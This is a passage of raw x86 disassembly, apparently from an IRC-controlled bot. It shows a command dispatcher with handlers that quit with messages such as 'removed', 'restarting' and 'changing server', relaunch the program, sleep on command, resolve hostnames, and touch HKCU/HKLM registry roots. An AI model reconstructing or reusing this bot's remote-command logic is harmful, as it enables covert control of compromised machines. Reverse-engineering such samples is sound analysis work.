[ebp+var_1A4] push eax call sub_41665C add esp, 0Ch jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B3DA: ; CODE XREF: sub_40A9CF+9E9j mov eax, [ebp+var_1A8] sub eax, dword_419C98 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40B426 mov eax, [ebp+arg_18] cmp dword ptr [eax+4], 0 jnz short loc_40B3FD jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B3FD: ; CODE XREF: sub_40A9CF+A27j mov eax, [ebp+arg_18] push dword ptr [eax+4] push 80000001h call sub_401000 pop ecx pop ecx mov eax, [ebp+arg_18] push dword ptr [eax+4] push 80000002h call sub_401000 pop ecx pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B426: ; CODE XREF: sub_40A9CF+A1Ej mov eax, [ebp+var_1A8] sub eax, dword_419C88 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40B44C mov eax, [ebp+arg_18] push dword ptr [eax+4] call sub_401146 pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B44C: ; CODE XREF: sub_40A9CF+A6Aj mov eax, [ebp+var_1A8] sub eax, dword_419C7C neg eax sbb eax, eax inc eax test eax, eax jz short loc_40B47D push 0 mov eax, [ebp+arg_18] push dword ptr [eax+4] lea eax, [ebp+var_1A4] push eax call sub_4017AA add esp, 0Ch jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B47D: ; CODE XREF: sub_40A9CF+A90j mov eax, [ebp+var_1A8] sub eax, dword_419C70 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40B4AE push 1 mov eax, [ebp+arg_18] push dword ptr [eax+4] lea eax, [ebp+var_1A4] push eax call sub_4017AA add esp, 0Ch jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B4AE: ; CODE XREF: sub_40A9CF+AC1j mov eax, [ebp+var_1A8] sub eax, dword_419C64 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40B4D5 lea eax, [ebp+var_1A4] push eax call sub_409BF1 pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B4D5: ; CODE XREF: sub_40A9CF+AF2j mov eax, [ebp+var_1A8] sub eax, dword_419C5C neg eax sbb eax, eax inc eax test eax, eax jz short loc_40B508 push offset dword_41EF48 push offset dword_419C4C lea eax, [ebp+var_1A4] push eax call sub_40D53F add esp, 0Ch jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B508: ; CODE XREF: sub_40A9CF+B19j mov eax, [ebp+var_1A8] sub eax, dword_419C40 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40B536 mov eax, [ebp+arg_18] push dword ptr [eax+4] lea eax, [ebp+var_1A4] push eax call sub_413FE7 pop ecx pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B536: ; CODE XREF: sub_40A9CF+B4Cj mov eax, [ebp+var_1A8] sub eax, dword_419C34 neg eax sbb eax, eax inc eax test eax, eax jnz short loc_40B575 mov eax, [ebp+var_1A8] sub eax, dword_419C28 neg eax sbb eax, eax inc eax test eax, eax jnz short loc_40B575 mov eax, [ebp+var_1A8] sub eax, dword_419C1C neg eax sbb eax, eax inc eax test eax, eax jz short loc_40B5A7 loc_40B575: ; CODE XREF: sub_40A9CF+B7Aj ; sub_40A9CF+B8Fj mov eax, [ebp+arg_14] push dword ptr [eax+14h] mov eax, [ebp+arg_14] push dword ptr [eax+10h] mov eax, [ebp+arg_14] push dword ptr [eax+0Ch] mov eax, [ebp+arg_14] push dword ptr [eax+8] mov eax, [ebp+arg_14] push dword ptr [eax+4] lea eax, [ebp+var_1A4] push eax call sub_413AB0 add esp, 18h jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B5A7: ; CODE XREF: sub_40A9CF+BA4j mov eax, [ebp+var_1A8] sub eax, dword_419C0C neg eax sbb eax, eax inc eax test eax, eax jz short loc_40B5CE lea eax, [ebp+var_1A4] push eax call sub_41417D pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B5CE: ; CODE XREF: sub_40A9CF+BEBj mov eax, [ebp+var_1A8] sub eax, dword_419BF8 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40B631 mov eax, [ebp+arg_18] cmp dword ptr [eax+4], 0 jz short loc_40B61B mov eax, [ebp+arg_18] push dword ptr [eax+4] call sub_41673F pop ecx test eax, eax jnz short loc_40B601 jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B601: ; CODE XREF: sub_40A9CF+C2Bj push 104h mov eax, [ebp+arg_18] push dword ptr [eax+4] push offset dword_41EC40 call sub_407A56 add esp, 0Ch jmp short loc_40B62C ; --------------------------------------------------------------------------- loc_40B61B: ; CODE XREF: sub_40A9CF+C1Bj push offset dword_41EB2C push offset dword_41EC40 call sub_416B3A ; _mbscpy pop ecx pop ecx loc_40B62C: ; CODE XREF: sub_40A9CF+C4Aj jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B631: ; CODE XREF: sub_40A9CF+C12j mov eax, [ebp+var_1A8] sub eax, dword_419BE8 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40B678 mov eax, [ebp+arg_14] push dword ptr [eax+14h] mov eax, [ebp+arg_14] push dword ptr [eax+10h] mov eax, [ebp+arg_14] push dword ptr [eax+0Ch] mov eax, [ebp+arg_14] push dword ptr [eax+8] mov eax, [ebp+arg_14] push dword ptr [eax+4] lea eax, [ebp+var_1A4] push eax call sub_414600 add esp, 18h jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B678: ; CODE XREF: sub_40A9CF+C75j mov eax, [ebp+var_1A8] sub eax, dword_419BE0 neg eax sbb eax, eax inc eax test eax, eax jz loc_40B791 mov eax, [ebp+arg_18] cmp dword ptr [eax+4], 0 jnz short loc_40B69F jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B69F: ; CODE XREF: sub_40A9CF+CC9j mov eax, [ebp+arg_18] push dword ptr [eax+4] call sub_416B40 ; strlen pop ecx shl eax, 1 push eax call sub_416B46 ; malloc pop ecx mov [ebp+var_5A68], eax cmp [ebp+var_5A68], 0 jnz short loc_40B6C8 jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B6C8: ; CODE XREF: sub_40A9CF+CF2j mov eax, [ebp+arg_18] push dword ptr [eax+4] call sub_416B40 ; strlen pop ecx push eax push [ebp+var_5A68] mov eax, [ebp+arg_18] push dword ptr [eax+4] call sub_40EB4E add esp, 0Ch push [ebp+var_5A68] push offset dword_419BC4 lea eax, [ebp+var_1A4] push eax call sub_40D53F add esp, 0Ch push [ebp+var_5A68] call sub_416B4C ; free pop ecx push 1000h lea eax, [ebp+var_1A60] push eax call sub_4104A3 pop ecx pop ecx call sub_416B64 ; clock mov [ebp+var_A60], eax and [ebp+var_1A64], 0 jmp short loc_40B743 ; --------------------------------------------------------------------------- loc_40B736: ; CODE XREF: sub_40A9CF+D9Bj mov eax, [ebp+var_1A64] inc eax mov [ebp+var_1A64], eax loc_40B743: ; CODE XREF: sub_40A9CF+D65j cmp [ebp+var_1A64], 186A0h jge short loc_40B76C push 1000h lea eax, [ebp+var_5A64] push eax lea eax, [ebp+var_1A60] push eax call sub_40EB4E add esp, 0Ch jmp short loc_40B736 ; --------------------------------------------------------------------------- loc_40B76C: ; CODE XREF: sub_40A9CF+D7Ej call sub_416B64 ; clock sub eax, [ebp+var_A60] push eax push offset aItTookMeUms_ ; "It took me %ums." lea eax, [ebp+var_1A4] push eax call sub_40D53F add esp, 0Ch jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B791: ; CODE XREF: sub_40A9CF+CBCj mov eax, [ebp+var_1A8] sub eax, dword_419BA4 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40B823 mov eax, [ebp+arg_18] cmp dword ptr [eax+4], 0 jnz short loc_40B7B4 jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B7B4: ; CODE XREF: sub_40A9CF+DDEj mov eax, [ebp+arg_18] push dword ptr [eax+4] call sub_416B40 ; strlen pop ecx push eax call sub_416B46 ; malloc pop ecx mov [ebp+var_5A6C], eax cmp [ebp+var_5A6C], 0 jnz short loc_40B7DB jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B7DB: ; CODE XREF: sub_40A9CF+E05j push [ebp+var_5A6C] mov eax, [ebp+arg_18] push dword ptr [eax+4] call sub_40E9C9 pop ecx pop ecx mov ecx, [ebp+var_5A6C] and byte ptr [ecx+eax], 0 push [ebp+var_5A6C] push offset dword_419B88 lea eax, [ebp+var_1A4] push eax call sub_40D53F add esp, 0Ch push [ebp+var_5A6C] call sub_416B4C ; free pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B823: ; CODE XREF: sub_40A9CF+DD5j mov eax, [ebp+var_1A8] sub eax, dword_419B78 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40B873 mov eax, [ebp+arg_14] cmp dword ptr [eax+4], 0 jnz short loc_40B85C push offset dword_41EF48 push offset dword_419B64 lea eax, [ebp+var_1A4] push eax call sub_40D53F add esp, 0Ch jmp short loc_40B86E ; --------------------------------------------------------------------------- loc_40B85C: ; CODE XREF: sub_40A9CF+E70j mov eax, [ebp+arg_14] push dword ptr [eax+4] push offset dword_41EF48 call sub_416B3A ; _mbscpy pop ecx pop ecx loc_40B86E: ; CODE XREF: sub_40A9CF+E8Bj jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B873: ; CODE XREF: sub_40A9CF+E67j mov eax, [ebp+var_1A8] sub eax, dword_419B58 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40B899 mov eax, [ebp+arg_14] push dword ptr [eax+4] call sub_4097A7 pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B899: ; CODE XREF: sub_40A9CF+EB7j mov eax, [ebp+var_1A8] sub eax, dword_419B4C neg eax sbb eax, eax inc eax test eax, eax jz short loc_40B8C7 mov eax, [ebp+arg_14] push dword ptr [eax+4] lea eax, [ebp+var_1A4] push eax call sub_403FE5 pop ecx pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B8C7: ; CODE XREF: sub_40A9CF+EDDj mov eax, [ebp+var_1A8] sub eax, dword_419B3C neg eax sbb eax, eax inc eax test eax, eax jz short loc_40B8ED mov eax, [ebp+arg_14] push dword ptr [eax+4] call sub_4098F3 pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B8ED: ; CODE XREF: sub_40A9CF+F0Bj mov eax, [ebp+var_1A8] sub eax, dword_419B30 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40B91B mov eax, [ebp+arg_18] push dword ptr [eax+4] lea eax, [ebp+var_1A4] push eax call sub_406722 pop ecx pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B91B: ; CODE XREF: sub_40A9CF+F31j mov eax, [ebp+var_1A8] sub eax, dword_419B20 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40B949 mov eax, [ebp+arg_14] push dword ptr [eax+4] lea eax, [ebp+var_1A4] push eax call sub_412F07 pop ecx pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B949: ; CODE XREF: sub_40A9CF+F5Fj mov eax, [ebp+var_1A8] sub eax, dword_419B14 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40B98A mov eax, [ebp+arg_14] push dword ptr [eax+10h] mov eax, [ebp+arg_14] push dword ptr [eax+0Ch] mov eax, [ebp+arg_14] push dword ptr [eax+8] mov eax, [ebp+arg_14] push dword ptr [eax+4] lea eax, [ebp+var_1A4] push eax call sub_40A1A7 add esp, 14h jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B98A: ; CODE XREF: sub_40A9CF+F8Dj mov eax, [ebp+var_1A8] sub eax, dword_419B08 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40B9BF mov eax, [ebp+arg_14] push dword ptr [eax+8] mov eax, [ebp+arg_14] push dword ptr [eax+4] lea eax, [ebp+var_1A4] push eax call sub_40A50E add esp, 0Ch jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B9BF: ; CODE XREF: sub_40A9CF+FCEj mov eax, [ebp+var_1A8] sub eax, dword_419AFC neg eax sbb eax, eax inc eax test eax, eax jz short loc_40B9F5 push offset dword_41EB2C push offset aQuitSRemoved_ ; "QUIT :%s removed." call sub_40D6CB pop ecx pop ecx push 36EE80h call dword_41709C ; Sleep jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B9F5: ; CODE XREF: sub_40A9CF+1003j mov eax, [ebp+var_1A8] sub eax, dword_419ADC neg eax sbb eax, eax inc eax test eax, eax jz short loc_40BA79 mov eax, [ebp+arg_14] cmp dword ptr [eax+4], 0 jnz short loc_40BA18 jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40BA18: ; CODE XREF: sub_40A9CF+1042j mov eax, [ebp+arg_14] push dword ptr [eax+4] push offset dword_41DAB4 call sub_416B3A ; _mbscpy pop ecx pop ecx mov eax, [ebp+arg_14] cmp dword ptr [eax+8], 0 jz short loc_40BA41 mov eax, [ebp+arg_14] mov eax, [eax+8] mov [ebp+var_63EC], eax jmp short loc_40BA4B ; --------------------------------------------------------------------------- loc_40BA41: ; CODE XREF: sub_40A9CF+1062j mov [ebp+var_63EC], offset byte_41DE30 loc_40BA4B: ; CODE XREF: sub_40A9CF+1070j push [ebp+var_63EC] push offset dword_41ED48 call sub_416B3A ; _mbscpy pop ecx pop ecx push offset dword_41ED48 push offset dword_41DAB4 push offset dword_419AD0 call sub_40D6CB add esp, 0Ch jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40BA79: ; CODE XREF: sub_40A9CF+1039j mov eax, [ebp+var_1A8] sub eax, dword_419AC4 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40BADB mov eax, [ebp+arg_14] cmp dword ptr [eax+4], 0 jnz short loc_40BA9C jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40BA9C: ; CODE XREF: sub_40A9CF+10C6j mov eax, [ebp+arg_14] cmp dword ptr [eax+8], 0 jz short loc_40BAB3 mov eax, [ebp+arg_14] mov eax, [eax+8] mov [ebp+var_63F0], eax jmp short loc_40BABD ; --------------------------------------------------------------------------- loc_40BAB3: ; CODE XREF: sub_40A9CF+10D4j mov [ebp+var_63F0], offset byte_41DE30 loc_40BABD: ; CODE XREF: sub_40A9CF+10E2j push [ebp+var_63F0] mov eax, [ebp+arg_14] push dword ptr [eax+4] push offset dword_419AD0 call sub_40D6CB add esp, 0Ch jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40BADB: ; CODE XREF: sub_40A9CF+10BDj mov eax, [ebp+var_1A8] sub eax, dword_419AB8 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40BB15 mov eax, [ebp+arg_14] cmp dword ptr [eax+4], 0 jnz short loc_40BAFE jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40BAFE: ; CODE XREF: sub_40A9CF+1128j mov eax, [ebp+arg_14] push dword ptr [eax+4] push offset dword_419AB0 call sub_40D6CB pop ecx pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40BB15: ; CODE XREF: sub_40A9CF+111Fj mov eax, [ebp+var_1A8] sub eax, dword_419AA4 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40BB6C mov eax, [ebp+arg_14] cmp dword ptr [eax+4], 0 jnz short loc_40BB38 jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40BB38: ; CODE XREF: sub_40A9CF+1162j mov eax, [ebp+arg_14] push dword ptr [eax+4] call sub_416B9C ; atoi pop ecx mov [ebp+var_5A70], eax cmp [ebp+var_5A70], 927C0h jle short loc_40BB5B jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40BB5B: ; CODE XREF: sub_40A9CF+1185j push [ebp+var_5A70] call dword_41709C ; Sleep jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40BB6C: ; CODE XREF: sub_40A9CF+1159j mov eax, [ebp+var_1A8] sub eax, dword_419A9C neg eax sbb eax, eax inc eax test eax, eax jz short loc_40BBB0 mov eax, [ebp+arg_14] cmp dword ptr [eax+4], 0 jz short loc_40BB93 mov eax, [ebp+arg_18] cmp dword ptr [eax+8], 0 jnz short loc_40BB98 loc_40BB93: ; CODE XREF: sub_40A9CF+11B9j jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40BB98: ; CODE XREF: sub_40A9CF+11C2j mov eax, [ebp+arg_18] push dword ptr [eax+8] mov eax, [ebp+arg_14] push dword ptr [eax+4] call sub_40D4AB pop ecx pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40BBB0: ; CODE XREF: sub_40A9CF+11B0j mov eax, [ebp+var_1A8] sub eax, dword_419A90 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40BBF4 mov eax, [ebp+arg_14] cmp dword ptr [eax+4], 0 jz short loc_40BBD7 mov eax, [ebp+arg_18] cmp dword ptr [eax+8], 0 jnz short loc_40BBDC loc_40BBD7: ; CODE XREF: sub_40A9CF+11FDj jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40BBDC: ; CODE XREF: sub_40A9CF+1206j mov eax, [ebp+arg_18] push dword ptr [eax+8] mov eax, [ebp+arg_14] push dword ptr [eax+4] call sub_40D420 pop ecx pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40BBF4: ; CODE XREF: sub_40A9CF+11F4j mov eax, [ebp+var_1A8] sub eax, dword_419A88 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40BC28 mov eax, [ebp+arg_18] cmp dword ptr [eax+4], 0 jnz short loc_40BC17 jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40BC17: ; CODE XREF: sub_40A9CF+1241j mov eax, [ebp+arg_18] push dword ptr [eax+4] call sub_40D6CB pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40BC28: ; CODE XREF: sub_40A9CF+1238j mov eax, [ebp+var_1A8] sub eax, dword_419A7C neg eax sbb eax, eax inc eax test eax, eax jz short loc_40BCB2 mov eax, [ebp+arg_14] cmp dword ptr [eax+4], 0 jnz short loc_40BC84 cmp dword_41DE38, 0 jz short loc_40BC5B mov [ebp+var_63F4], offset aOn ; "on" jmp short loc_40BC65 ; --------------------------------------------------------------------------- loc_40BC5B: ; CODE XREF: sub_40A9CF+127Ej mov [ebp+var_63F4], offset aOff ; "off" loc_40BC65: ; CODE XREF: sub_40A9CF+128Aj push [ebp+var_63F4] push offset aDebugModeIsS_ ; "Debug mode is %s." lea eax, [ebp+var_1A4] push eax call sub_40D53F add esp, 0Ch jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40BC84: ; CODE XREF: sub_40A9CF+1275j push offset aOn ; "on" mov eax, [ebp+arg_14] push dword ptr [eax+4] call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_40BCA6 mov dword_41DE38, 1 jmp short loc_40BCAD ; --------------------------------------------------------------------------- loc_40BCA6: ; CODE XREF: sub_40A9CF+12C9j and dword_41DE38, 0 loc_40BCAD: ; CODE XREF: sub_40A9CF+12D5j jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40BCB2: ; CODE XREF: sub_40A9CF+126Cj mov eax, [ebp+var_1A8] sub eax, dword_419A50 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40BCD9 lea eax, [ebp+var_1A4] push eax call sub_415DFD pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40BCD9: ; CODE XREF: sub_40A9CF+12F6j mov eax, [ebp+var_1A8] sub eax, dword_419A44 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40BD13 mov eax, [ebp+arg_14] cmp dword ptr [eax+4], 0 jnz short loc_40BCFC jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40BCFC: ; CODE XREF: sub_40A9CF+1326j mov eax, [ebp+arg_18] push dword ptr [eax+4] push offset dword_419A3C call sub_40D6CB pop ecx pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40BD13: ; CODE XREF: sub_40A9CF+131Dj mov eax, [ebp+var_1A8] sub eax, dword_419A30 neg eax sbb eax, eax inc eax test eax, eax jnz short loc_40BD52 mov eax, [ebp+var_1A8] sub eax, dword_419A24 neg eax sbb eax, eax inc eax test eax, eax jnz short loc_40BD52 mov eax, [ebp+var_1A8] sub eax, dword_419A1C neg eax sbb eax, eax inc eax test eax, eax jz short loc_40BD62 loc_40BD52: ; CODE XREF: sub_40A9CF+1357j ; sub_40A9CF+136Cj push offset aQuitExitting ; "QUIT :exitting" call sub_40D6CB pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40BD62: ; CODE XREF: sub_40A9CF+1381j mov eax, [ebp+var_1A8] sub eax, dword_419A10 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40BDC9 push 104h lea eax, [ebp+var_5B74] push eax push 0 call dword_41708C ; GetModuleHandleA push eax call dword_417090 ; GetModuleFileNameA push 0 push 0 push 0 lea eax, [ebp+var_5B74] push eax push offset aOpen ; "open" push 0 call dword_4171D0 cmp eax, 20h ja short loc_40BDB6 jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40BDB6: ; CODE XREF: sub_40A9CF+13E0j push offset aQuitRestarting ; "QUIT :restarting" call sub_40D6CB pop ecx push 0 call dword_41705C ; ExitProcess loc_40BDC9: ; CODE XREF: sub_40A9CF+13A6j mov eax, [ebp+var_1A8] sub eax, dword_419A04 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40BE19 mov eax, [ebp+arg_14] cmp dword ptr [eax+4], 0 jnz short loc_40BDEC jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40BDEC: ; CODE XREF: sub_40A9CF+1416j mov eax, [ebp+arg_14] mov eax, [eax+4] movzx eax, byte ptr [eax] push eax mov eax, [ebp+arg_14] mov eax, [eax+4] movzx eax, byte ptr [eax] push eax push offset dword_4199D4 lea eax, [ebp+var_1A4] push eax call sub_40D53F add esp, 10h jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40BE19: ; CODE XREF: sub_40A9CF+140Dj mov eax, [ebp+var_1A8] sub eax, dword_4199C4 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40BE38 call sub_407148 jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40BE38: ; CODE XREF: sub_40A9CF+145Dj mov eax, [ebp+var_1A8] sub eax, dword_4199BC neg eax sbb eax, eax inc eax test eax, eax jnz short loc_40BE62 mov eax, [ebp+var_1A8] sub eax, dword_4199B0 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40BE7B loc_40BE62: ; CODE XREF: sub_40A9CF+147Cj mov eax, [ebp+arg_18] push dword ptr [eax+4] lea eax, [ebp+var_1A4] push eax call sub_401D6E pop ecx pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40BE7B: ; CODE XREF: sub_40A9CF+1491j mov eax, [ebp+var_1A8] sub eax, dword_4199A8 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40BEA9 mov eax, [ebp+arg_18] push dword ptr [eax+4] lea eax, [ebp+var_1A4] push eax call sub_40CEB0 pop ecx pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40BEA9: ; CODE XREF: sub_40A9CF+14BFj mov eax, [ebp+var_1A8] sub eax, dword_41999C neg eax sbb eax, eax inc eax test eax, eax jnz short loc_40BED3 mov eax, [ebp+var_1A8] sub eax, dword_41998C neg eax sbb eax, eax inc eax test eax, eax jz short loc_40BEFD loc_40BED3: ; CODE XREF: sub_40A9CF+14EDj push offset aQuitChangingSe ; "QUIT :changing server" call sub_40D6CB pop ecx mov eax, [ebp+arg_14] push dword ptr [eax+0Ch] mov eax, [ebp+arg_14] push dword ptr [eax+8] mov eax, [ebp+arg_14] push dword ptr [eax+4] call sub_40D366 add esp, 0Ch jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40BEFD: ; CODE XREF: sub_40A9CF+1502j mov eax, [ebp+var_1A8] sub eax, dword_41996C neg eax sbb eax, eax inc eax test eax, eax jz loc_40C0D9 mov eax, [ebp+arg_14] cmp dword ptr [eax+4], 0 jnz short loc_40BF29 mov eax, [ebp+arg_14] mov dword ptr [eax+4], offset byte_41DE30 loc_40BF29: ; CODE XREF: sub_40A9CF+154Ej lea eax, [ebp+var_5B78] push eax push 0 push 0 mov eax, [ebp+arg_14] push dword ptr [eax+4] call dword_41DE84 ; getaddrinfo test eax, eax jnz loc_40C0BA mov eax, [ebp+var_5B78] mov [ebp+var_5B7C], eax loc_40BF54: ; CODE XREF: sub_40A9CF+16D8j cmp [ebp+var_5B7C], 0 jz loc_40C0AC push 2 push 0 push 0 push 401h lea eax, [ebp+var_5F80] push eax mov eax, [ebp+var_5B7C] push dword ptr [eax+10h] mov eax, [ebp+var_5B7C] push dword ptr [eax+18h] call dword_41DE88 ; getnameinfo test eax, eax jnz loc_40C098 mov eax, [ebp+var_5B7C] cmp dword ptr [eax+4], 2 jnz short loc_40BFEA mov eax, [ebp+arg_14] mov eax, [eax+4] movsx eax, byte ptr [eax] test eax, eax jz short loc_40BFBA mov eax, [ebp+arg_14] mov eax, [eax+4] mov [ebp+var_63F8], eax jmp short loc_40BFC4 ; --------------------------------------------------------------------------- loc_40BFBA: ; CODE XREF: sub_40A9CF+15DBj mov [ebp+var_63F8], offset dword_419968 loc_40BFC4: ; CODE XREF: sub_40A9CF+15E9j lea eax, [ebp+var_5F80] push eax push [ebp+var_63F8] push offset dword_419944 lea eax, [ebp+var_1A4] push eax call sub_40D53F add esp, 10h jmp loc_40C08D ; --------------------------------------------------------------------------- loc_40BFEA: ; CODE XREF: sub_40A9CF+15CEj mov eax, [ebp+var_5B7C] cmp dword ptr [eax+4], 17h jnz short loc_40C03E mov eax, [ebp+arg_14] mov eax, [eax+4] movsx eax, byte ptr [eax] test eax, eax jz short loc_40C011 mov eax, [ebp+arg_14] mov eax, [eax+4] mov [ebp+var_63FC], eax jmp short loc_40C01B ; --------------------------------------------------------------------------- loc_40C011: ; CODE XREF: sub_40A9CF+1632j mov [ebp+var_63FC], offset dword_419968 loc_40C01B: ; CODE XREF: sub_40A9CF+1640j lea eax, [ebp+var_5F80] push eax push [ebp+var_63FC] push offset dword_419920 lea eax, [ebp+var_1A4] push eax call sub_40D53F add esp, 10h jmp short loc_40C08D ; --------------------------------------------------------------------------- loc_40C03E: ; CODE XREF: sub_40A9CF+1625j mov eax, [ebp+arg_14] mov eax, [eax+4] movsx eax, byte ptr [eax] test eax, eax jz short loc_40C059 mov eax, [ebp+arg_14] mov eax, [eax+4] mov [ebp+var_6400], eax jmp short loc_40C063 ; --------------------------------------------------------------------------- loc_40C059: ; CODE XREF: sub_40A9CF+167Aj mov [ebp+var_6400], offset dword_419968 loc_40C063: ; CODE XREF: sub_40A9CF+1688j lea eax, [ebp+var_5F80] push eax mov eax, [ebp+var_5B7C] push dword ptr [eax+4] push [ebp+var_6400] push offset dword_4198EC lea eax, [ebp+var_1A4] push eax call sub_40D53F add esp, 14h loc_40C08D: ; CODE XREF: sub_40A9CF+1616j ; sub_40A9CF+166Dj push 3E8h call dword_41709C ; Sleep loc_40C098: ; CODE XREF: sub_40A9CF+15BEj mov eax, [ebp+var_5B7C] mov eax, [eax+1Ch] mov [ebp+var_5B7C], eax jmp loc_40BF54 ; --------------------------------------------------------------------------- loc_40C0AC: ; CODE XREF: sub_40A9CF+158Cj push [ebp+var_5B78] call dword_41DE8C ; freeaddrinfo jmp short loc_40C0D4 ; --------------------------------------------------------------------------- loc_40C0BA: ; CODE XREF: sub_40A9CF+1573j mov eax, [ebp+arg_14] push dword ptr [eax+4] push offset dword_4198D0 lea eax, [ebp+var_1A4] push eax call sub_40D53F add esp, 0Ch loc_40C0D4: ; CODE XREF: sub_40A9CF+16E9j jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40C0D9: ; CODE XREF: sub_40A9CF+1541j mov eax, [ebp+var_1A8] sub eax, dword_4198C4 neg eax sbb eax, eax inc eax test eax, eax jz loc_40C1D4 mov eax, [ebp+arg_14] cmp dword ptr [eax+4], 0 jnz short loc_40C105 mov eax, [ebp+arg_14] mov dword ptr [eax+4], offset byte_41DE30 loc_40C105: ; CODE XREF: sub_40A9CF+172Aj lea eax, [ebp+var_5F84] push eax push 0 push 0 mov eax, [ebp+arg_14] push dword ptr [eax+4] call dword_41DE84 ; getaddrinfo test eax, eax jnz loc_40C1B5 push 4 push 0 push 0 push 401h lea eax, [ebp+var_6388] push eax mov eax, [ebp+var_5F84] push dword ptr [eax+10h] mov eax, [ebp+var_5F84] push dword ptr [eax+18h] call dword_41DE88 ; getnameinfo test eax, eax jnz short loc_40C1A9 push [ebp+var_5F84] call dword_41DE8C ; freeaddrinfo mov eax, [ebp+arg_14] mov eax, [eax+4] movsx eax, byte ptr [eax] test eax, eax jz short loc_40C179 mov eax, [ebp+arg_14] mov eax, [eax+4] mov [ebp+var_6404], eax jmp short loc_40C183 ; --------------------------------------------------------------------------- loc_40C179: ; CODE XREF: sub_40A9CF+179Aj mov [ebp+var_6404], offset dword_419968 loc_40C183: ; CODE XREF: sub_40A9CF+17A8j lea eax, [ebp+var_6388] push eax push [ebp+var_6404] push offset dword_4198A8 lea eax, [ebp+var_1A4] push eax call sub_40D53F add esp, 10h jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40C1A9: ; CODE XREF: sub_40A9CF+1781j push [ebp+var_5F84] call dword_41DE8C ; freeaddrinfo loc_40C1B5: ; CODE XREF: sub_40A9CF+174Fj mov eax, [ebp+arg_14] push dword ptr [eax+4] push offset dword_4198D0 lea eax, [ebp+var_1A4] push eax call sub_40D53F add esp, 0Ch jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40C1D4: ; CODE XREF: sub_40A9CF+171Dj mov eax, [ebp+var_1A8] sub eax, dword_419898 neg eax sbb eax, eax inc eax test eax, 